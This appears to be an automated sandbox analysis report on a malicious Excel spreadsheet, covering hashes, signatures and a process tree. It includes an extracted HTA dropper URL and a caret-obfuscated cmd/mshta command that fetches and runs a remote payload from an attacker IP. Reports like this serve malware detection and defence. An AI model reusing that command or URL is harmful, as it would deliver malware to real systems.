Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-11-2024 07:15

General

  • Target

    8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls

  • Size

    142KB

  • MD5

    994d78ed4f375307b15d5886b8c7b1df

  • SHA1

    1f9fbed0fa4a791a6765351b8a242a79ec80d257

  • SHA256

    8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177

  • SHA512

    46b2b712071a87aad30f11b86be7a02f80ada10655762f263e8aaa9888b03b148fb49f73d565d2aedb10d9c7840c0737525bb5302e85f97ce85e9aa1da5b65f7

  • SSDEEP

    3072:4Rk3hbdlylKsgqopeJBWhZFGkE+cL2NdAlhEvN8B/W6X1yxYovrepMUdQ6gSz4iq:Qk3hbdlylKsgqopeJBWhZFVE+W2NdAli

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fer.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1800
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:4620
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1600
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          PID:2756
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
      1⤵
        PID:2132

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1800-0-0x00007FFEAD110000-0x00007FFEAD120000-memory.dmp

        Filesize

        64KB

      • memory/1800-1-0x00007FFEED12D000-0x00007FFEED12E000-memory.dmp

        Filesize

        4KB

      • memory/1800-3-0x00007FFEAD110000-0x00007FFEAD120000-memory.dmp

        Filesize

        64KB

      • memory/1800-2-0x00007FFEAD110000-0x00007FFEAD120000-memory.dmp

        Filesize

        64KB

      • memory/1800-4-0x00007FFEAD110000-0x00007FFEAD120000-memory.dmp

        Filesize

        64KB

      • memory/1800-7-0x00007FFEAD110000-0x00007FFEAD120000-memory.dmp

        Filesize

        64KB

      • memory/1800-6-0x00007FFEED090000-0x00007FFEED285000-memory.dmp

        Filesize

        2.0MB

      • memory/1800-5-0x00007FFEED090000-0x00007FFEED285000-memory.dmp

        Filesize

        2.0MB

      • memory/1800-8-0x00007FFEED090000-0x00007FFEED285000-memory.dmp

        Filesize

        2.0MB

      • memory/1800-11-0x00007FFEED090000-0x00007FFEED285000-memory.dmp

        Filesize

        2.0MB

      • memory/1800-10-0x00007FFEED090000-0x00007FFEED285000-memory.dmp

        Filesize

        2.0MB

      • memory/1800-13-0x00007FFEAA7B0000-0x00007FFEAA7C0000-memory.dmp

        Filesize

        64KB

      • memory/1800-12-0x00007FFEED090000-0x00007FFEED285000-memory.dmp

        Filesize

        2.0MB

      • memory/1800-9-0x00007FFEED090000-0x00007FFEED285000-memory.dmp

        Filesize

        2.0MB

      • memory/1800-14-0x00007FFEAA7B0000-0x00007FFEAA7C0000-memory.dmp

        Filesize

        64KB

      • memory/1800-17-0x00007FFEED090000-0x00007FFEED285000-memory.dmp

        Filesize

        2.0MB

      • memory/1800-16-0x00007FFEED090000-0x00007FFEED285000-memory.dmp

        Filesize

        2.0MB

      • memory/1800-15-0x00007FFEED090000-0x00007FFEED285000-memory.dmp

        Filesize

        2.0MB

      • memory/1800-28-0x00007FFEED090000-0x00007FFEED285000-memory.dmp

        Filesize

        2.0MB

      • memory/1800-29-0x00007FFEED12D000-0x00007FFEED12E000-memory.dmp

        Filesize

        4KB

      • memory/1800-30-0x00007FFEED090000-0x00007FFEED285000-memory.dmp

        Filesize

        2.0MB

      • memory/1800-31-0x00007FFEED090000-0x00007FFEED285000-memory.dmp

        Filesize

        2.0MB